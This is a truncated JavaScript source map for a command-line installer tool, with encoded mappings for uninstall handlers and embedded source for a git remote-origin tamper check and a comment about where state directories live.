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","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// v3.0.3 hotfix — Claude-Code-co-located state/checkpoint/audit/lock/governance roots.\n//\n// Problem: pre-v3.0.3 the harness rooted ALL of its own state directories at\n// `process.cwd()` via the literal path `.harnessed/...`. When a user launches\n// `harnessed setup` from a read-only CWD (e.g. Warp terminal default\n// `C:\\Program Files\\Warp\\`) the very first mkdir call inside a successful\n// install path (`updateInstalled` → write `<cwd>/.harnessed/state.json`)\n// throws `EPERM: operation not permitted, mkdir 'C:\\Program Files\\Warp\\.harnessed'`,\n// surfacing in the Step B parallel batch as the anonymous `[B] failed ?:` line\n// (Promise.allSettled rejection → fallback to `name: '?'`).\n//\n// 